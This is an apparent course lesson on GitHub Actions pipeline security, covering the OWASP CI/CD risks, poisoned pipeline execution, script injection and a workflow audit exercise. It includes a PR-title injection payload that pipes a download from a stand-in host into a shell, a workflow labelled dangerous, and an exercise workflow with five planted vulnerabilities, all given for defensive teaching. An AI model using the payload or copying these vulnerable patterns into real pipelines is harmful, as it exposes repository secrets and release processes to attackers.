In this lesson you will
- List the OWASP Top 10 CI/CD Security Risks and give an example of each in a GitHub Actions pipeline
- Explain poisoned pipeline execution and why pull_request_target and workflow_run need special care
- Run a STRIDE pass over a pipeline and turn each threat into a concrete control
- Audit a workflow file for injection, excess permissions, unpinned actions and unsafe runners
The pipeline is a target
Why the pipeline is the control point made the pipeline the place where security checks run. That makes the pipeline itself valuable to an attacker. A CI/CD system typically holds:
- secrets for cloud accounts, registries and package publishing
- a token that can write to the repository
- the ability to build artifacts that will be trusted and deployed
An attacker who controls a pipeline does not need to find a bug in your application. They can ship their own code through your release process, with your signature on it. Every incident in the course orientation worked this way.
The OWASP Top 10 CI/CD Security Risks
OWASP maintains a list of the ten most significant CI/CD risks. Learn the names: they give you a shared vocabulary for reviews and threat models.
| ID | Risk | In a GitHub Actions pipeline, for example |
|---|---|---|
| CICD-SEC-1 | Insufficient Flow Control Mechanisms | A push to main deploys to production with no review or approval |
| CICD-SEC-2 | Inadequate Identity and Access Management | Former contractors still have admin on the repository |
| CICD-SEC-3 | Dependency Chain Abuse | A typosquatted package or a hijacked maintainer account delivers malware |
| CICD-SEC-4 | Poisoned Pipeline Execution (PPE) | A pull request changes a build script that a privileged workflow runs |
| CICD-SEC-5 | Insufficient PBAC (Pipeline-Based Access Controls) | Every job gets the same secrets and a write token, whether it needs them or not |
| CICD-SEC-6 | Insufficient Credential Hygiene | Long-lived cloud keys in repository secrets, printed in logs |
| CICD-SEC-7 | Insecure System Configuration | Self-hosted runners that are never rebuilt, default token permissions left at write |
| CICD-SEC-8 | Ungoverned Usage of 3rd Party Services | Third-party actions and apps with broad access that nobody reviewed |
| CICD-SEC-9 | Improper Artifact Integrity Validation | Deploying an image without checking its signature or provenance |
| CICD-SEC-10 | Insufficient Logging and Visibility | No record of who changed a workflow or approved a deploy |
By the end of the course, your pipeline will have a control for each row.
Poisoned pipeline execution
Poisoned pipeline execution (PPE) is the most important CI-specific attack. It happens when an attacker gets their code or input to run inside a pipeline that holds privileges they do not have. Three forms:
- Direct PPE: the attacker edits the workflow file itself in a branch or fork, and the platform runs the edited version with secrets.
- Indirect PPE: the workflow file is safe, but it runs something the
attacker controls: a
Makefile, a test, annpm installscript or a build configuration from the pull request. - Public PPE: the same, triggered by anyone through a pull request on a public repository.
GitHub’s default pull_request trigger limits the damage for forks: runs from
forks get a read-only token and no secrets. Two triggers deliberately do not.
pull_request_target
pull_request_target runs in the context of the base repository, with its
secrets and a token that can write. It exists for jobs such as labelling or
commenting on pull requests, which need write access but never need to run the
pull request’s code.
The danger is checking out the pull request and running anything from it:
# DANGEROUS: untrusted code runs with the base repository's secrets
on: pull_request_target
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@<full-sha>
with:
ref: ${{ github.event.pull_request.head.sha }}
- run: npm ci && npm test # install scripts and tests come from the fork
In November 2025 GitHub changed pull_request_target so that the workflow file
and the checkout reference always come from the repository’s default branch,
effective December 8, 2025. That closes one route (an old, vulnerable workflow
lingering on another branch), but it cannot stop a default-branch workflow
from choosing to run fork code. That decision is yours.
Rule: in pull_request_target and workflow_run, never build, install,
test or execute anything from the pull request.
workflow_run
workflow_run starts a privileged workflow after another workflow finishes,
often to post results from an unprivileged pull request build. The trap is
trusting what the first run produced: downloading its artifacts and executing
or unzipping them into a trusted location. Treat artifacts from a pull request
run as untrusted input.
Script injection
Expressions inside ${{ }} are expanded into the script before the shell
sees it. Anything a stranger can type becomes code:
# VULNERABLE: a title like a"; curl evil.example | sh; echo " runs
- run: echo "Checking ${{ github.event.pull_request.title }}"
# SAFE: the shell treats the variable's value as data
- env:
TITLE: ${{ github.event.pull_request.title }}
run: echo "Checking $TITLE"
Untrusted fields include pull request titles and bodies, branch names, issue titles, comment bodies, commit messages and author names. The Ultralytics and Nx incidents both started with exactly this pattern.
Runners and third-party actions
Self-hosted runners run on your machines, inside your network. On a public repository, anyone who opens a pull request may get code running there, and a runner that is not rebuilt after each job keeps whatever was left behind. Use GitHub-hosted runners for public repositories, and make self-hosted runners ephemeral (one job, then destroyed) for private ones.
Third-party actions run with the job’s token and secrets. A tag such as
@v4 can be moved by whoever controls the action, which is how the
tj-actions compromise spread. Pin to a full commit SHA, keep the list of
allowed actions short, and review an action’s code before adding it.
A STRIDE pass over a pipeline
STRIDE is a checklist of six threat types. Walk it over each part of the pipeline and turn every threat into a control:
developer ──push──▶ repository ──trigger──▶ runner ──publish──▶ registry ──deploy──▶ cloud
(PRs, forks) (workflows, (secrets, (images, (OIDC role,
rulesets) token) signatures) environments)
| Threat | Example in this pipeline | Control | Module |
|---|---|---|---|
| Spoofing | A commit claims to come from a maintainer | Signed commits, protected branches, MFA | 2 |
| Tampering | A third-party action’s tag is repointed | SHA pinning and an allowed-actions policy | 2, 3 |
| Repudiation | Nobody can tell who approved a production deploy | Environment approvals and retained audit logs | 6 |
| Information disclosure | A step prints a secret into a public log | Secret masking, --redact, least-privilege secrets per job |
2 |
| Denial of service | A pull request triggers an endless or huge build | Job timeouts, concurrency limits, approval for first-time contributors | 1 |
| Elevation of privilege | Fork code runs under pull_request_target |
Never execute PR code in privileged triggers; permissions: per job |
1, 2 |
Write the table for your own pipeline. A threat with no control in the last two columns is your next piece of work.
Try it: audit a workflow
The workflow below has five security problems planted in it. Read it, write down each problem and how you would fix it, then open the answers.
name: release
on:
pull_request_target:
push:
branches: [main]
permissions: write-all
jobs:
build:
runs-on: self-hosted
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }}
- name: Announce
run: echo "Building ${{ github.event.pull_request.title }}"
- run: make build
- uses: some-org/deploy-to-cloud@main
with:
aws-access-key-id: ${{ secrets.AWS_ACCESS_KEY_ID }}
aws-secret-access-key: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
You can also run an automated audit. zizmor is an open-source static analyser for GitHub Actions workflows:
pip install zizmor
# Save the workflow above as release.yml, then:
zizmor release.yml
Compare its findings with your own list. Tools catch patterns; you still need to understand why each one matters.
Show the five problems
- Poisoned pipeline execution.
pull_request_targetchecks out the pull request’s head and runsmake buildfrom it, with the base repository’s secrets. Usepull_requestfor building untrusted code. - Script injection. The pull request title is expanded straight into
run. Pass it through anenv:variable. - Excess permissions.
permissions: write-allgives every step a token that can push code, create releases and change settings. Usecontents: readat the top and grant more per job only where needed. - Unpinned third-party action.
some-org/deploy-to-cloud@mainruns whatever is on that branch today, with cloud credentials. Pin to a full commit SHA after reviewing it, and prefer the cloud provider’s own action. - Long-lived keys on a self-hosted runner. Static AWS keys are passed to a third-party action on a self-hosted runner that untrusted pull requests can reach. Use OIDC for short-lived credentials (Secure deployment) and a hosted or ephemeral runner.
Further reading
Key takeaways
- The pipeline holds secrets and can ship to production, so an attacker who controls it does not need to break your app.
- Poisoned pipeline execution happens when untrusted code or input runs inside a privileged workflow.
- Never put ${{ }} expressions holding untrusted text directly into a run script; pass them through environment variables.
- pull_request_target and workflow_run run with your repository's privileges, so never build or execute code from the pull request in them.
- Pin third-party actions to full commit SHAs and keep self-hosted runners away from public repositories.
- Every threat in a STRIDE pass should end as a named control you can point to in the pipeline.
Lesson questions
Answer all 10, then check them. You need 7 right to pass this lesson and unlock the next one. Try as often as you like; after three tries the answers and explanations are shown. These are our own questions, written for this course.
Courses are taught against the frameworks they name. That is alignment, not certification: no course is certified, approved or endorsed by NIST, the DoD, DISA, FedRAMP, the CMMC program or any other agency or standards body, and completing one does not make a system compliant.